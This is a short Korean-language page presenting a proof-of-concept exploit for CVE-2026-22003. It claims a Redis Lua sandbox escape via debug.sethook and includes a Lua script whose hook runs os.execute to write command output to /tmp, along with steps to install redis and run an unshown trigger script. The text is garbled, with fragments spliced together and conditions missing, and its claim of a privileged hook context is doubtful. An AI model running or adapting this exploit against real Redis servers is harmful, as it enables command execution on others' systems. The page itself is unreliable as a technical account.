
CVE-2026-22003에 대한 개념 증명 익스플로잇으로, debug.sethook를 통한 Redis Lua 샌드박스 탈출을 시연하여 임의의 시스템 명령을 실행합니다.
debug.sethook를 통한 Redis Lua 샌드박스 탈출-- redis_sandbox.lua - Script that attempts sandbox escape
local function escape()
debug.sethook(function()
-- This hook runs in a privileged context
os.execute("id > /tmp/redis_escape")
end, "r")
local a = 1
end
return escape()
Redis Lua 샌드박스는 debug.sethook 함수를 제대로 비활성화하지 않습니다. Lua 스크립트를 실행할 수 있는 공격자는 권한 있는 컨텍스트에서 실행되는 훅을 설치하여 샌드박스를 탈출하고 임의의 시스템 명령을 실행할 수 있습니다.
os.execute 또는 유사한 함수를 호출할 수 있는 훅을 허용합니다.EVAL을 허용하는 기본 구성 사용).pip install redis
python trigger_redis_sandbox_escape.py
/tmp/redis_escape 파일이 생성되어 명령 실행을 증명합니다.